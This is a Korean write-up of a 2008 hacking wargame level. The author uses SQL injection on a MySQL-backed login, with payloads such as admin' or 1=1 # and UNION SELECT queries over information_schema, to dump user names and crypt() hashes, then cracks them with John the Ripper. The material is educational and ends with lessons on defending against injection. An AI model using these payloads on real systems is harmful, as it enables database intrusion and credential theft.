NEW!! WEBGAME LEVEL 9 & BIN LEVEL 2
두 문제 추가(2008.9.21)

-- 풀이 현황 --
웹 게임 바이너리 게임

레벨 : 1 851 명 풀이 완료
레벨 : 2 350 명 풀이 완료
레벨 : 3 200 명 풀이 완료
레벨 : 4 69 명 풀이 완료
레벨 : 5 43 명 풀이 완료
레벨 : 6 45 명 풀이 완료
레벨 : 7 18 명 풀이 완료
레벨 : 8 3 명 풀이 완료
레벨 : 9 2 명 풀이 완료

[ Level. 9, beMax ]
나인
- 2008-10-01 19:03:06 -
마지막 최고레벨 풀이자
레벨 : 1 54 명 풀이 완료
레벨 : 2 10 명 풀이 완료

[ Level. 2, neko ]
It\'s easy and fun.
- 2008-09-17 15:48:03 -
마지막 최고레벨 풀이자
자자 드디어 대망의 레벨 7

문제 http://webgame.wowhacker.com/AuThWithMySQL
(guest/guest)

Hello^^ guest It's me!


  • guest's information...
    • name: guest
    • group: user
    • address: Nothing.
    • phone number: 010-0000-0000
    • hitnum: 7862

  • Hint:
    • not yet! : )~

ID에 admin이라고 치고
레벨 5에서 풀었던 우회방법으로 OPTIONS을 입력하자
그러면

Hello^^ admin It's me!
--------------------------------------------------------------------------------
admin's information...
name: admin
group: admin
address: SejongRyo Jongro-gu Seoul Sourth-Korea.
phone number: 010-1234-5678
hitnum: 1985
--------------------------------------------------------------------------------
Wow! U got administrator's power.
But, Problem not yet solved!.
--------------------------------------------------------------------------------
Hint:
not yet! : )~

이렇게 뜬다. 여기서

인증 : Basic Z3Vlc3Q6Z3Vlc3Q=
이렇게 치면 guest/guest쳤던 모드로 들어간다.

쿠키에서의 차이점은 모르겠고


ID에 admin ' 하고 OPTIONS을 주면

아래처럼 나오는것 봐서는

Hello^^ admin ' It's me!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin ''' at line 1

SQL Injection 허용이 되는군요

제 생각에는 ID / PW 입력란에 admin ' -- SQL Injection 을 응용하면 풀이법도 있을법도 합니다.
 
1) admin's password

2) 어드민 계정의 인증 (게스트 계정의 인증처럼 Basic Z3Vlc3Q6Z3Vlc3Q= )

2가지만 어떻게 알아내면 될것도 같기도 한데 말이죠^^

여기서 중요한것은 mysql이란점 #가 주석표시임

3) admin' # 함으로써, 데이터베이스 출력 가능함.. 이어서 어떤 명령어 붙여서 passwd를 읽기만 하면 될듯

admin' or 1=1 limit 0,1 # -> neodal

Hello^^ admin' or 1=1 # It's me!

--------------------------------------------------------------------------------
neodal's information...
name: neodal
group: user
address: Yongbong-dong Puk-gu Gwang-ju South-Korea.
phone number:
hitnum: 233
--------------------------------------------------------------------------------
admin' or 1=1 limit 1,2 # -> guest

Hello^^ admin' or 1=1 limit 1,2 # It's me!
--------------------------------------------------------------------------------
guest's information...
name: guest
group: user
address: Nothing.
phone number: 010-0000-0000
hitnum: 8006
--------------------------------------------------------------------------------

admin' or 1=1 limit 2,3 # -> admin
--------------------------------------------------------------------------------
admin's information...
name: admin
group: admin
address: SejongRyo Jongro-gu Seoul Sourth-Korea.
phone number: 010-1234-5678
hitnum: 2013
--------------------------------------------------------------------------------
Limit 2,3 이 올바른 표현은 아님,
원래 표현은 2번째부터 3번째인데, 위에서는 한번만 표시되기 때문에 ....... 별뜻없이 순서만 정하도록 한것임
limit 1하나씩만 해도 되려나

자 지금부터 문제를 어떻게 푸느냐,,,,,,, 가 중요한데
테이블명이나, 컬럼을 어떻게 알까나

어떠한 방법이 있을까?

admin' union all select table_schema,table_name,3,4,5,6 from information_schema.tables limit 18,19 #

이용하면 키 테이블 찾을 수 있음
keytable
user_info

Hello^^ admin' union all select table_name,table_schema,table_schema,4,5,6 from information_schema.tables limit 19,20 # It's me!

--------------------------------------------------------------------------------

user_info's information...
name: user_info
group: httpauth
address: 4
phone number: 5
hitnum: 6

--------------------------------------------------------------------------------

데이타베이스 / 테이블명
httpauth / user_info 19, 20 / ? / [테이블 6개]
httpauth / keytable 18, 19 / ? / [테이블 6개]

admin' union all select null,null,null,null,null,null from httpauth.keytable #


admin' union all select 1,2,3,4,5,6 from information_schema.columns where TABLE_SCHEMA = 'httpauth' limit 2,3 #
admin' union all select TABLE_SCHEMA,null,TABLE_NAME,COLUMN_NAME,null,null from information_schema.columns where TABLE_SCHEMA = 'httpauth' limit 2,3 #

user_info?

컬럼명      /   테이블

no          1,2 keytable
value       2,3 keytable
user_name   3,4 user_info
user_passwd 4,5 user_info
user_group  5,6 user_info
user_addr   6,7 user_info
user_phone  7,8 user_info
user_hitnum 8,9 user_info

admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 1,2 #
Hello^^ admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 1,2 # It's me!

--------------------------------------------------------------------------------

neodal's information...
name: neodal
group: cdJEdGEB2ymhs
address:
phone number:
hitnum:

--------------------------------------------------------------------------------

Hint:
not yet! : )~

admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 2,3 #
--------------------------------------------------------------------------------
admin's information...
name: admin
group: RiEQLHLk1a65w
address:
phone number:
hitnum:

--------------------------------------------------------------------------------

admin' union all select user_name,null,user_passwd,user_group,user_phone,null from httpauth.user_info limit 3,4 #
--------------------------------------------------------------------------------
guest's information...
name: guest
group: PcefFmdfcmCNw
address:
phone number:
hitnum:

정리하면

guest / guest
guest / PcefFmdfcmCNw
admin / RiEQLHLk1a65w
neodal / cdJEdGEB2ymhs

13자리 영문자+숫자로 이루어진 암호문 .... -_- 뭘까나

ENCRYPT(str[,salt]) : 유닉스 crypt()를 사용하여 str을 암호화한다. 
           salt는 사용할 암호문자로 두 글자이다.

【예제】
mysql> SELECT ENCRYPT('abc'), ENCRYPT('abc','01');
+----------------+---------------------+
| ENCRYPT('abc') | ENCRYPT('abc','01') |
+----------------+---------------------+
| AA75xC/4BNCm.  | 01nWjX2nMqj0w       |
+----------------+---------------------+ 
[출처] mysql_ 암호화 방법들 ..|작성자 anyes83

<?
   $test="guest";
   // $answer="PcefFmdfcmCNw";
   $test2=crypt($test,"Pc");
   echo("<br>$test2");
?>

PcefFmdfcmCNw 여기서 "Pc"로 주면 나오는데
그러면

guest / guest
guest / PcefFmdfcmCNw /  guest
admin / RiEQLHLk1a65w / thisisaa?
neodal / cdJEdGEB2ymhs / 1004

John the ripper로 돌리면 위에 처럼 패스워드가 나오는데

neodal은 로그인 잘 되는데, 왜 admin 은 않될까? ㅡ_ㅡ

admin은 Ri로 압축된 crypt 화일의 "?????"이지 않을까 싶다.

역함수가 있으면 좋으려만 ? -- hash라서 역함수는 불가능, hash 결과값 비교만으로 가능

admin/thisisaa는 로그인은 않되고 / 그러면 답이 무엇이냐 -_-

가능성

1. open_file(파일여는것 이용하는방법)

2. 같은 Hash 값을 같는 다른 admin password의 존재 가능성

3.  검색되는 테이블은 몇개 없던 것 같기도 한데( 다른 테이블 ) ?

4. 음... 또 뭐가 있을까 어디서 보았더라 this is a dream ??...으로 시작하는거

3,4번이 답이로구나!

admin' union all select no,null,value,null,null,null from httpauth.keytable limit 1,2 #

thisisaa 뜻을 알겠구나, 이제야--;

이문제에서 배운것

sql injection의 기초와, 적용될때의 즐거움과, 권한의 중요성
항상 시스템의 기본과 구조에 익숙해질 것
John the ripper의 성능과 유용성 굿!!
sql injection 보안에 관하여 프로그래밍 할 것
설정의 중요성